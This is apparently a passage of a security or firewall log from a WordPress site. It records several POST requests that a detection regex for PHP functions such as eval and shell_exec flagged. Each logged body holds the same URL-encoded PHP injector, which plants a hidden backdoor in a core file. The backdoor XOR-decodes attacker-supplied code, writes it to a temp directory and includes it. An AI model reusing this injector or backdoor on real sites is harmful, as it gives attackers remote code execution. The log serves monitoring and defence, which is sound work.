8%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:52:45","212.87.197.20","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?1\naccept:*\/*\nsec-ch-ua-platform:\"Android\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3923\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFyLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nJV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:52:52","66.116.235.214","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3923\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nYS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:53:10","23.106.46.175","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3923\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIxtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nVH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:53:11","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2520%2526%2526%2520%2521is_null%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%2529%257B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524m%2520%253D%25200%253B%2520do%257B%2524record%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524m%255D%2529%2520%255E%252088%2529%253B%2524m%252B%252B%253B%257D%2520while%2528%2524m%2520%253C%2520strlen%2528%2524fac%2529%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524data%2520as%2520%2524key%2520%253D%253E%2520%2524obj%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524obj%2529%2520%252A%2520is_writable%2528%2524obj%2529%2529%2529%2520%257B%2520%2524res%2520%253D%2520%2522%2524obj\/.val%2522%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524res%252C%2520%2524record%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524res%253B%2520%2540unlink%2528%2524res%2529%253B%2520die%2528%2529%253